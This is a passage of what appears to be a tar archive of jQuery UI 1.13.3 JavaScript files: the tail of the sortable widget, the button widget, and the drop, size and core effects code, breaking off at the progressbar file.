).css( "paddingLeft" ), 10 ) || 0 ) - this.margins.left, co.top + ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) + ( parseInt( $( ce ).css( "paddingTop" ), 10 ) || 0 ) - this.margins.top, co.left + ( over ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) - ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) - ( parseInt( $( ce ).css( "paddingRight" ), 10 ) || 0 ) - this.helperProportions.width - this.margins.left, co.top + ( over ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) - ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) - ( parseInt( $( ce ).css( "paddingBottom" ), 10 ) || 0 ) - this.helperProportions.height - this.margins.top ]; } }, _convertPositionTo: function( d, pos ) { if ( !pos ) { pos = this.position; } var mod = d === "absolute" ? 1 : -1, scroll = this.cssPosition === "absolute" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] && $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ? this.offsetParent : this.scrollParent, scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName ); return { top: ( // The absolute mouse position pos.top + // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.top * mod + // The offsetParent's offset without borders (offset + border) this.offset.parent.top * mod - ( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod ) ), left: ( // The absolute mouse position pos.left + // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.left * mod + // The offsetParent's offset without borders (offset + border) this.offset.parent.left * mod - ( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) * mod ) ) }; }, _generatePosition: function( event ) { var top, left, o = this.options, pageX = event.pageX, pageY = event.pageY, scroll = this.cssPosition === "absolute" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] && $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ? this.offsetParent : this.scrollParent, scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName ); // This is another very weird special case that only happens for relative elements: // 1. If the css position is relative // 2. and the scroll parent is the document or similar to the offset parent // we have to refresh the relative offset during the scroll so there are no jumps if ( this.cssPosition === "relative" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] && this.scrollParent[ 0 ] !== this.offsetParent[ 0 ] ) ) { this.offset.relative = this._getRelativeOffset(); } /* * - Position constraining - * Constrain the position to a mix of grid, containment. */ if ( this.originalPosition ) { //If we are not dragging yet, we won't check for options if ( this.containment ) { if ( event.pageX - this.offset.click.left < this.containment[ 0 ] ) { pageX = this.containment[ 0 ] + this.offset.click.left; } if ( event.pageY - this.offset.click.top < this.containment[ 1 ] ) { pageY = this.containment[ 1 ] + this.offset.click.top; } if ( event.pageX - this.offset.click.left > this.containment[ 2 ] ) { pageX = this.containment[ 2 ] + this.offset.click.left; } if ( event.pageY - this.offset.click.top > this.containment[ 3 ] ) { pageY = this.containment[ 3 ] + this.offset.click.top; } } if ( o.grid ) { top = this.originalPageY + Math.round( ( pageY - this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ]; pageY = this.containment ? ( ( top - this.offset.click.top >= this.containment[ 1 ] && top - this.offset.click.top <= this.containment[ 3 ] ) ? top : ( ( top - this.offset.click.top >= this.containment[ 1 ] ) ? top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top; left = this.originalPageX + Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0 ]; pageX = this.containment ? ( ( left - this.offset.click.left >= this.containment[ 0 ] && left - this.offset.click.left <= this.containment[ 2 ] ) ? left : ( ( left - this.offset.click.left >= this.containment[ 0 ] ) ? left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left; } } return { top: ( // The absolute mouse position pageY - // Click offset (relative to the element) this.offset.click.top - // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.top - // The offsetParent's offset without borders (offset + border) this.offset.parent.top + ( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) ) ), left: ( // The absolute mouse position pageX - // Click offset (relative to the element) this.offset.click.left - // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.left - // The offsetParent's offset without borders (offset + border) this.offset.parent.left + ( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) ) ) }; }, _rearrange: function( event, i, a, hardRefresh ) { if ( a ) { a[ 0 ].appendChild( this.placeholder[ 0 ] ); } else { i.item[ 0 ].parentNode.insertBefore( this.placeholder[ 0 ], ( this.direction === "down" ? i.item[ 0 ] : i.item[ 0 ].nextSibling ) ); } //Various things done here to improve the performance: // 1. we create a setTimeout, that calls refreshPositions // 2. on the instance, we have a counter variable, that get's higher after every append // 3. on the local scope, we copy the counter variable, and check in the timeout, // if it's still the same // 4. this lets only the last addition to the timeout stack through this.counter = this.counter ? ++this.counter : 1; var counter = this.counter; this._delay( function() { if ( counter === this.counter ) { //Precompute after each DOM insertion, NOT on mousemove this.refreshPositions( !hardRefresh ); } } ); }, _clear: function( event, noPropagation ) { this.reverting = false; // We delay all events that have to be triggered to after the point where the placeholder // has been removed and everything else normalized again var i, delayedTriggers = []; // We first have to update the dom position of the actual currentItem // Note: don't do it if the current item is already removed (by a user), or it gets // reappended (see #4088) if ( !this._noFinalSort && this.currentItem.parent().length ) { this.placeholder.before( this.currentItem ); } this._noFinalSort = null; if ( this.helper[ 0 ] === this.currentItem[ 0 ] ) { for ( i in this._storedCSS ) { if ( this._storedCSS[ i ] === "auto" || this._storedCSS[ i ] === "static" ) { this._storedCSS[ i ] = ""; } } this.currentItem.css( this._storedCSS ); this._removeClass( this.currentItem, "ui-sortable-helper" ); } else { this.currentItem.show(); } if ( this.fromOutside && !noPropagation ) { delayedTriggers.push( function( event ) { this._trigger( "receive", event, this._uiHash( this.fromOutside ) ); } ); } if ( ( this.fromOutside || this.domPosition.prev !== this.currentItem.prev().not( ".ui-sortable-helper" )[ 0 ] || this.domPosition.parent !== this.currentItem.parent()[ 0 ] ) && !noPropagation ) { // Trigger update callback if the DOM position has changed delayedTriggers.push( function( event ) { this._trigger( "update", event, this._uiHash() ); } ); } // Check if the items Container has Changed and trigger appropriate // events. if ( this !== this.currentContainer ) { if ( !noPropagation ) { delayedTriggers.push( function( event ) { this._trigger( "remove", event, this._uiHash() ); } ); delayedTriggers.push( ( function( c ) { return function( event ) { c._trigger( "receive", event, this._uiHash( this ) ); }; } ).call( this, this.currentContainer ) ); delayedTriggers.push( ( function( c ) { return function( event ) { c._trigger( "update", event, this._uiHash( this ) ); }; } ).call( this, this.currentContainer ) ); } } //Post events to containers function delayEvent( type, instance, container ) { return function( event ) { container._trigger( type, event, instance._uiHash( instance ) ); }; } for ( i = this.containers.length - 1; i >= 0; i-- ) { if ( !noPropagation ) { delayedTriggers.push( delayEvent( "deactivate", this, this.containers[ i ] ) ); } if ( this.containers[ i ].containerCache.over ) { delayedTriggers.push( delayEvent( "out", this, this.containers[ i ] ) ); this.containers[ i ].containerCache.over = 0; } } //Do what was originally in plugins if ( this.storedCursor ) { this.document.find( "body" ).css( "cursor", this.storedCursor ); this.storedStylesheet.remove(); } if ( this._storedOpacity ) { this.helper.css( "opacity", this._storedOpacity ); } if ( this._storedZIndex ) { this.helper.css( "zIndex", this._storedZIndex === "auto" ? "" : this._storedZIndex ); } this.dragging = false; if ( !noPropagation ) { this._trigger( "beforeStop", event, this._uiHash() ); } //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, // it unbinds ALL events from the original node! this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] ); if ( !this.cancelHelperRemoval ) { if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) { this.helper.remove(); } this.helper = null; } if ( !noPropagation ) { for ( i = 0; i < delayedTriggers.length; i++ ) { // Trigger all delayed events delayedTriggers[ i ].call( this, event ); } this._trigger( "stop", event, this._uiHash() ); } this.fromOutside = false; return !this.cancelHelperRemoval; }, _trigger: function() { if ( $.Widget.prototype._trigger.apply( this, arguments ) === false ) { this.cancel(); } }, _uiHash: function( _inst ) { var inst = _inst || this; return { helper: inst.helper, placeholder: inst.placeholder || $( [] ), position: inst.position, originalPosition: inst.originalPosition, offset: inst.positionAbs, item: inst.currentItem, sender: _inst ? _inst.element : null }; } } ); } ); jquery/ui/button.min.js 0000644 00000014012 15111757755 0011147 0 ustar 00 /*! * jQuery UI Button 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./controlgroup","./checkboxradio","../keycode","../widget"],t):t(jQuery)}(function(e){"use strict";var h;return e.widget("ui.button",{version:"1.13.3",defaultElement:"<button>",options:{classes:{"ui-button":"ui-corner-all"},disabled:null,icon:null,iconPosition:"beginning",label:null,showLabel:!0},_getCreateOptions:function(){var t,i=this._super()||{};return this.isInput=this.element.is("input"),null!=(t=this.element[0].disabled)&&(i.disabled=t),this.originalLabel=this.isInput?this.element.val():this.element.html(),this.originalLabel&&(i.label=this.originalLabel),i},_create:function(){!this.option.showLabel&!this.options.icon&&(this.options.showLabel=!0),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled||!1),this.hasTitle=!!this.element.attr("title"),this.options.label&&this.options.label!==this.originalLabel&&(this.isInput?this.element.val(this.options.label):this.element.html(this.options.label)),this._addClass("ui-button","ui-widget"),this._setOption("disabled",this.options.disabled),this._enhance(),this.element.is("a")&&this._on({keyup:function(t){t.keyCode===e.ui.keyCode.SPACE&&(t.preventDefault(),this.element[0].click?this.element[0].click():this.element.trigger("click"))}})},_enhance:function(){this.element.is("button")||this.element.attr("role","button"),this.options.icon&&(this._updateIcon("icon",this.options.icon),this._updateTooltip())},_updateTooltip:function(){this.title=this.element.attr("title"),this.options.showLabel||this.title||this.element.attr("title",this.options.label)},_updateIcon:function(t,i){var t="iconPosition"!==t,o=t?this.options.iconPosition:i,s="top"===o||"bottom"===o;this.icon?t&&this._removeClass(this.icon,null,this.options.icon):(this.icon=e("<span>"),this._addClass(this.icon,"ui-button-icon","ui-icon"),this.options.showLabel||this._addClass("ui-button-icon-only")),t&&this._addClass(this.icon,null,i),this._attachIcon(o),s?(this._addClass(this.icon,null,"ui-widget-icon-block"),this.iconSpace&&this.iconSpace.remove()):(this.iconSpace||(this.iconSpace=e("<span> </span>"),this._addClass(this.iconSpace,"ui-button-icon-space")),this._removeClass(this.icon,null,"ui-wiget-icon-block"),this._attachIconSpace(o))},_destroy:function(){this.element.removeAttr("role"),this.icon&&this.icon.remove(),this.iconSpace&&this.iconSpace.remove(),this.hasTitle||this.element.removeAttr("title")},_attachIconSpace:function(t){this.icon[/^(?:end|bottom)/.test(t)?"before":"after"](this.iconSpace)},_attachIcon:function(t){this.element[/^(?:end|bottom)/.test(t)?"append":"prepend"](this.icon)},_setOptions:function(t){var i=(void 0===t.showLabel?this.options:t).showLabel,o=(void 0===t.icon?this.options:t).icon;i||o||(t.showLabel=!0),this._super(t)},_setOption:function(t,i){"icon"===t&&(i?this._updateIcon(t,i):this.icon&&(this.icon.remove(),this.iconSpace)&&this.iconSpace.remove()),"iconPosition"===t&&this._updateIcon(t,i),"showLabel"===t&&(this._toggleClass("ui-button-icon-only",null,!i),this._updateTooltip()),"label"===t&&(this.isInput?this.element.val(i):(this.element.html(i),this.icon&&(this._attachIcon(this.options.iconPosition),this._attachIconSpace(this.options.iconPosition)))),this._super(t,i),"disabled"===t&&(this._toggleClass(null,"ui-state-disabled",i),this.element[0].disabled=i)&&this.element.trigger("blur")},refresh:function(){var t=this.element.is("input, button")?this.element[0].disabled:this.element.hasClass("ui-button-disabled");t!==this.options.disabled&&this._setOptions({disabled:t}),this._updateTooltip()}}),!1!==e.uiBackCompat&&(e.widget("ui.button",e.ui.button,{options:{text:!0,icons:{primary:null,secondary:null}},_create:function(){this.options.showLabel&&!this.options.text&&(this.options.showLabel=this.options.text),!this.options.showLabel&&this.options.text&&(this.options.text=this.options.showLabel),this.options.icon||!this.options.icons.primary&&!this.options.icons.secondary?this.options.icon&&(this.options.icons.primary=this.options.icon):this.options.icons.primary?this.options.icon=this.options.icons.primary:(this.options.icon=this.options.icons.secondary,this.options.iconPosition="end"),this._super()},_setOption:function(t,i){"text"===t?this._super("showLabel",i):("showLabel"===t&&(this.options.text=i),"icon"===t&&(this.options.icons.primary=i),"icons"===t&&(i.primary?(this._super("icon",i.primary),this._super("iconPosition","beginning")):i.secondary&&(this._super("icon",i.secondary),this._super("iconPosition","end"))),this._superApply(arguments))}}),e.fn.button=(h=e.fn.button,function(o){var t="string"==typeof o,s=Array.prototype.slice.call(arguments,1),n=this;return t?this.length||"instance"!==o?this.each(function(){var t,i=e(this).attr("type"),i=e.data(this,"ui-"+("checkbox"!==i&&"radio"!==i?"button":"checkboxradio"));return"instance"===o?(n=i,!1):i?"function"!=typeof i[o]||"_"===o.charAt(0)?e.error("no such method '"+o+"' for button widget instance"):(t=i[o].apply(i,s))!==i&&void 0!==t?(n=t&&t.jquery?n.pushStack(t.get()):t,!1):void 0:e.error("cannot call methods on button prior to initialization; attempted to call method '"+o+"'")}):n=void 0:(s.length&&(o=e.widget.extend.apply(null,[o].concat(s))),this.each(function(){var t=e(this).attr("type"),t="checkbox"!==t&&"radio"!==t?"button":"checkboxradio",i=e.data(this,"ui-"+t);i?(i.option(o||{}),i._init&&i._init()):"button"==t?h.call(e(this),o):e(this).checkboxradio(e.extend({icon:!1},o))})),n}),e.fn.buttonset=function(){return e.ui.controlgroup||e.error("Controlgroup widget missing"),"option"===arguments[0]&&"items"===arguments[1]&&arguments[2]?this.controlgroup.apply(this,[arguments[0],"items.button",arguments[2]]):"option"===arguments[0]&&"items"===arguments[1]?this.controlgroup.apply(this,[arguments[0],"items.button"]):("object"==typeof arguments[0]&&arguments[0].items&&(arguments[0].items={button:arguments[0].items}),this.controlgroup.apply(this,arguments))}),e.ui.button}); jquery/ui/effect-drop.js 0000644 00000003073 15111757755 0011255 0 ustar 00 /*! * jQuery UI Effects Drop 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Drop Effect //>>group: Effects //>>description: Moves an element in one direction and hides it at the same time. //>>docs: https://api.jqueryui.com/drop-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "drop", "hide", function( options, done ) { var distance, element = $( this ), mode = options.mode, show = mode === "show", direction = options.direction || "left", ref = ( direction === "up" || direction === "down" ) ? "top" : "left", motion = ( direction === "up" || direction === "left" ) ? "-=" : "+=", oppositeMotion = ( motion === "+=" ) ? "-=" : "+=", animation = { opacity: 0 }; $.effects.createPlaceholder( element ); distance = options.distance || element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ) / 2; animation[ ref ] = motion + distance; if ( show ) { element.css( animation ); animation[ ref ] = oppositeMotion + distance; animation.opacity = 1; } // Animate element.animate( animation, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); jquery/ui/effect-size.min.js 0000644 00000004673 15111757755 0012054 0 ustar 00 /*! * jQuery UI Effects Size 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],t):t(jQuery)}(function(l){"use strict";return l.effects.define("size",function(o,e){var f,i=l(this),t=["fontSize"],s=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],n=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],r=o.mode,h="effect"!==r,c=o.scale||"both",d=o.origin||["middle","center"],a=i.css("position"),g=i.position(),u=l.effects.scaledDimensions(i),m=o.from||u,y=o.to||l.effects.scaledDimensions(i,0);l.effects.createPlaceholder(i),"show"===r&&(r=m,m=y,y=r),f={from:{y:m.height/u.height,x:m.width/u.width},to:{y:y.height/u.height,x:y.width/u.width}},"box"!==c&&"both"!==c||(f.from.y!==f.to.y&&(m=l.effects.setTransition(i,s,f.from.y,m),y=l.effects.setTransition(i,s,f.to.y,y)),f.from.x!==f.to.x&&(m=l.effects.setTransition(i,n,f.from.x,m),y=l.effects.setTransition(i,n,f.to.x,y))),"content"!==c&&"both"!==c||f.from.y!==f.to.y&&(m=l.effects.setTransition(i,t,f.from.y,m),y=l.effects.setTransition(i,t,f.to.y,y)),d&&(r=l.effects.getBaseline(d,u),m.top=(u.outerHeight-m.outerHeight)*r.y+g.top,m.left=(u.outerWidth-m.outerWidth)*r.x+g.left,y.top=(u.outerHeight-y.outerHeight)*r.y+g.top,y.left=(u.outerWidth-y.outerWidth)*r.x+g.left),delete m.outerHeight,delete m.outerWidth,i.css(m),"content"!==c&&"both"!==c||(s=s.concat(["marginTop","marginBottom"]).concat(t),n=n.concat(["marginLeft","marginRight"]),i.find("*[width]").each(function(){var t=l(this),e=l.effects.scaledDimensions(t),i={height:e.height*f.from.y,width:e.width*f.from.x,outerHeight:e.outerHeight*f.from.y,outerWidth:e.outerWidth*f.from.x},e={height:e.height*f.to.y,width:e.width*f.to.x,outerHeight:e.height*f.to.y,outerWidth:e.width*f.to.x};f.from.y!==f.to.y&&(i=l.effects.setTransition(t,s,f.from.y,i),e=l.effects.setTransition(t,s,f.to.y,e)),f.from.x!==f.to.x&&(i=l.effects.setTransition(t,n,f.from.x,i),e=l.effects.setTransition(t,n,f.to.x,e)),h&&l.effects.saveStyle(t),t.css(i),t.animate(e,o.duration,o.easing,function(){h&&l.effects.restoreStyle(t)})})),i.animate(y,{queue:!1,duration:o.duration,easing:o.easing,complete:function(){var t=i.offset();0===y.opacity&&i.css("opacity",m.opacity),h||(i.css("position","static"===a?"relative":a).offset(t),l.effects.saveStyle(i)),e()}})})}); jquery/ui/effect.min.js 0000644 00000024134 15111757755 0011076 0 ustar 00 /*! * jQuery UI Effects 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./jquery-var-for-color","./vendor/jquery-color/jquery.color","./version"],t):t(jQuery)}(function(u){"use strict";var s,o,r,a,c,e,n,i,f,l,d="ui-effects-",h="ui-effects-style",p="ui-effects-animated";function m(t){var e,n,i=t.ownerDocument.defaultView?t.ownerDocument.defaultView.getComputedStyle(t,null):t.currentStyle,o={};if(i&&i.length&&i[0]&&i[i[0]])for(n=i.length;n--;)"string"==typeof i[e=i[n]]&&(o[e.replace(/-([\da-z])/gi,function(t,e){return e.toUpperCase()})]=i[e]);else for(e in i)"string"==typeof i[e]&&(o[e]=i[e]);return o}function g(t,e,n,i){return t={effect:t=u.isPlainObject(t)?(e=t).effect:t},"function"==typeof(e=null==e?{}:e)&&(i=e,n=null,e={}),"number"!=typeof e&&!u.fx.speeds[e]||(i=n,n=e,e={}),"function"==typeof n&&(i=n,n=null),e&&u.extend(t,e),n=n||e.duration,t.duration=u.fx.off?0:"number"==typeof n?n:n in u.fx.speeds?u.fx.speeds[n]:u.fx.speeds._default,t.complete=i||e.complete,t}function v(t){return!t||"number"==typeof t||u.fx.speeds[t]||"string"==typeof t&&!u.effects.effect[t]||"function"==typeof t||"object"==typeof t&&!t.effect}function y(t,e){var n=e.outerWidth(),e=e.outerHeight(),t=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/.exec(t)||["",0,n,e,0];return{top:parseFloat(t[1])||0,right:"auto"===t[2]?n:parseFloat(t[2]),bottom:"auto"===t[3]?e:parseFloat(t[3]),left:parseFloat(t[4])||0}}return u.effects={effect:{}},a=["add","remove","toggle"],c={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1},u.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(t,e){u.fx.step[e]=function(t){("none"!==t.end&&!t.setAttr||1===t.pos&&!t.setAttr)&&(jQuery.style(t.elem,e,t.end),t.setAttr=!0)}}),u.fn.addBack||(u.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),u.effects.animateClass=function(o,t,e,n){var s=u.speed(t,e,n);return this.queue(function(){var n=u(this),t=n.attr("class")||"",e=(e=s.children?n.find("*").addBack():n).map(function(){return{el:u(this),start:m(this)}}),i=function(){u.each(a,function(t,e){o[e]&&n[e+"Class"](o[e])})};i(),e=e.map(function(){return this.end=m(this.el[0]),this.diff=function(t,e){var n,i,o={};for(n in e)i=e[n],t[n]===i||c[n]||!u.fx.step[n]&&isNaN(parseFloat(i))||(o[n]=i);return o}(this.start,this.end),this}),n.attr("class",t),e=e.map(function(){var t=this,e=u.Deferred(),n=u.extend({},s,{queue:!1,complete:function(){e.resolve(t)}});return this.el.animate(this.diff,n),e.promise()}),u.when.apply(u,e.get()).done(function(){i(),u.each(arguments,function(){var e=this.el;u.each(this.diff,function(t){e.css(t,"")})}),s.complete.call(n[0])})})},u.fn.extend({addClass:(r=u.fn.addClass,function(t,e,n,i){return e?u.effects.animateClass.call(this,{add:t},e,n,i):r.apply(this,arguments)}),removeClass:(o=u.fn.removeClass,function(t,e,n,i){return 1<arguments.length?u.effects.animateClass.call(this,{remove:t},e,n,i):o.apply(this,arguments)}),toggleClass:(s=u.fn.toggleClass,function(t,e,n,i,o){return"boolean"==typeof e||void 0===e?n?u.effects.animateClass.call(this,e?{add:t}:{remove:t},n,i,o):s.apply(this,arguments):u.effects.animateClass.call(this,{toggle:t},e,n,i)}),switchClass:function(t,e,n,i,o){return u.effects.animateClass.call(this,{add:e,remove:t},n,i,o)}}),u.expr&&u.expr.pseudos&&u.expr.pseudos.animated&&(u.expr.pseudos.animated=(e=u.expr.pseudos.animated,function(t){return!!u(t).data(p)||e(t)})),!1!==u.uiBackCompat&&u.extend(u.effects,{save:function(t,e){for(var n=0,i=e.length;n<i;n++)null!==e[n]&&t.data(d+e[n],t[0].style[e[n]])},restore:function(t,e){for(var n,i=0,o=e.length;i<o;i++)null!==e[i]&&(n=t.data(d+e[i]),t.css(e[i],n))},setMode:function(t,e){return e="toggle"===e?t.is(":hidden")?"show":"hide":e},createWrapper:function(n){if(n.parent().is(".ui-effects-wrapper"))return n.parent();var i={width:n.outerWidth(!0),height:n.outerHeight(!0),float:n.css("float")},t=u("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),e={width:n.width(),height:n.height()},o=document.activeElement;try{o.id}catch(t){o=document.body}return n.wrap(t),n[0]!==o&&!u.contains(n[0],o)||u(o).trigger("focus"),t=n.parent(),"static"===n.css("position")?(t.css({position:"relative"}),n.css({position:"relative"})):(u.extend(i,{position:n.css("position"),zIndex:n.css("z-index")}),u.each(["top","left","bottom","right"],function(t,e){i[e]=n.css(e),isNaN(parseInt(i[e],10))&&(i[e]="auto")}),n.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),n.css(e),t.css(i).show()},removeWrapper:function(t){var e=document.activeElement;return t.parent().is(".ui-effects-wrapper")&&(t.parent().replaceWith(t),t[0]!==e&&!u.contains(t[0],e)||u(e).trigger("focus")),t}}),u.extend(u.effects,{version:"1.13.3",define:function(t,e,n){return n||(n=e,e="effect"),u.effects.effect[t]=n,u.effects.effect[t].mode=e,n},scaledDimensions:function(t,e,n){var i;return 0===e?{height:0,width:0,outerHeight:0,outerWidth:0}:(i="horizontal"!==n?(e||100)/100:1,n="vertical"!==n?(e||100)/100:1,{height:t.height()*n,width:t.width()*i,outerHeight:t.outerHeight()*n,outerWidth:t.outerWidth()*i})},clipToBox:function(t){return{width:t.clip.right-t.clip.left,height:t.clip.bottom-t.clip.top,left:t.clip.left,top:t.clip.top}},unshift:function(t,e,n){var i=t.queue();1<e&&i.splice.apply(i,[1,0].concat(i.splice(e,n))),t.dequeue()},saveStyle:function(t){t.data(h,t[0].style.cssText)},restoreStyle:function(t){t[0].style.cssText=t.data(h)||"",t.removeData(h)},mode:function(t,e){t=t.is(":hidden");return"toggle"===e&&(e=t?"show":"hide"),e=(t?"hide"===e:"show"===e)?"none":e},getBaseline:function(t,e){var n,i;switch(t[0]){case"top":n=0;break;case"middle":n=.5;break;case"bottom":n=1;break;default:n=t[0]/e.height}switch(t[1]){case"left":i=0;break;case"center":i=.5;break;case"right":i=1;break;default:i=t[1]/e.width}return{x:i,y:n}},createPlaceholder:function(t){var e,n=t.css("position"),i=t.position();return t.css({marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()),/^(static|relative)/.test(n)&&(n="absolute",e=u("<"+t[0].nodeName+">").insertAfter(t).css({display:/^(inline|ruby)/.test(t.css("display"))?"inline-block":"block",visibility:"hidden",marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight"),float:t.css("float")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).addClass("ui-effects-placeholder"),t.data(d+"placeholder",e)),t.css({position:n,left:i.left,top:i.top}),e},removePlaceholder:function(t){var e=d+"placeholder",n=t.data(e);n&&(n.remove(),t.removeData(e))},cleanUp:function(t){u.effects.restoreStyle(t),u.effects.removePlaceholder(t)},setTransition:function(i,t,o,s){return s=s||{},u.each(t,function(t,e){var n=i.cssUnit(e);0<n[0]&&(s[e]=n[0]*o+n[1])}),s}}),u.fn.extend({effect:function(){function t(t){var e=u(this),n=u.effects.mode(e,a)||s;e.data(p,!0),c.push(n),s&&("show"===n||n===s&&"hide"===n)&&e.show(),s&&"none"===n||u.effects.saveStyle(e),"function"==typeof t&&t()}var i=g.apply(this,arguments),o=u.effects.effect[i.effect],s=o.mode,e=i.queue,n=e||"fx",r=i.complete,a=i.mode,c=[];return u.fx.off||!o?a?this[a](i.duration,r):this.each(function(){r&&r.call(this)}):!1===e?this.each(t).each(f):this.queue(n,t).queue(n,f);function f(t){var e=u(this);function n(){"function"==typeof r&&r.call(e[0]),"function"==typeof t&&t()}i.mode=c.shift(),!1===u.uiBackCompat||s?"none"===i.mode?(e[a](),n()):o.call(e[0],i,function(){e.removeData(p),u.effects.cleanUp(e),"hide"===i.mode&&e.hide(),n()}):(e.is(":hidden")?"hide"===a:"show"===a)?(e[a](),n()):o.call(e[0],i,n)}},show:(f=u.fn.show,function(t){return v(t)?f.apply(this,arguments):((t=g.apply(this,arguments)).mode="show",this.effect.call(this,t))}),hide:(i=u.fn.hide,function(t){return v(t)?i.apply(this,arguments):((t=g.apply(this,arguments)).mode="hide",this.effect.call(this,t))}),toggle:(n=u.fn.toggle,function(t){return v(t)||"boolean"==typeof t?n.apply(this,arguments):((t=g.apply(this,arguments)).mode="toggle",this.effect.call(this,t))}),cssUnit:function(t){var n=this.css(t),i=[];return u.each(["em","px","%","pt"],function(t,e){0<n.indexOf(e)&&(i=[parseFloat(n),e])}),i},cssClip:function(t){return t?this.css("clip","rect("+t.top+"px "+t.right+"px "+t.bottom+"px "+t.left+"px)"):y(this.css("clip"),this)},transfer:function(t,e){var n=u(this),i=u(t.to),o="fixed"===i.css("position"),s=u("body"),r=o?s.scrollTop():0,s=o?s.scrollLeft():0,a=i.offset(),a={top:a.top-r,left:a.left-s,height:i.innerHeight(),width:i.innerWidth()},i=n.offset(),c=u("<div class='ui-effects-transfer'></div>");c.appendTo("body").addClass(t.className).css({top:i.top-r,left:i.left-s,height:n.innerHeight(),width:n.innerWidth(),position:o?"fixed":"absolute"}).animate(a,t.duration,t.easing,function(){c.remove(),"function"==typeof e&&e()})}}),u.fx.step.clip=function(t){t.clipInit||(t.start=u(t.elem).cssClip(),"string"==typeof t.end&&(t.end=y(t.end,t.elem)),t.clipInit=!0),u(t.elem).cssClip({top:t.pos*(t.end.top-t.start.top)+t.start.top,right:t.pos*(t.end.right-t.start.right)+t.start.right,bottom:t.pos*(t.end.bottom-t.start.bottom)+t.start.bottom,left:t.pos*(t.end.left-t.start.left)+t.start.left})},l={},u.each(["Quad","Cubic","Quart","Quint","Expo"],function(e,t){l[t]=function(t){return Math.pow(t,e+2)}}),u.extend(l,{Sine:function(t){return 1-Math.cos(t*Math.PI/2)},Circ:function(t){return 1-Math.sqrt(1-t*t)},Elastic:function(t){return 0===t||1===t?t:-Math.pow(2,8*(t-1))*Math.sin((80*(t-1)-7.5)*Math.PI/15)},Back:function(t){return t*t*(3*t-2)},Bounce:function(t){for(var e,n=4;t<((e=Math.pow(2,--n))-1)/11;);return 1/Math.pow(4,3-n)-7.5625*Math.pow((3*e-2)/22-t,2)}}),u.each(l,function(t,e){u.easing["easeIn"+t]=e,u.easing["easeOut"+t]=function(t){return 1-e(1-t)},u.easing["easeInOut"+t]=function(t){return t<.5?e(2*t)/2:1-e(-2*t+2)/2}}),u.effects}); jquery/ui/progressbar.min.js 0000644 00000004776 15111757755 0012205 0 ustar 00 /*! * jQuery UI Progressbar 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use 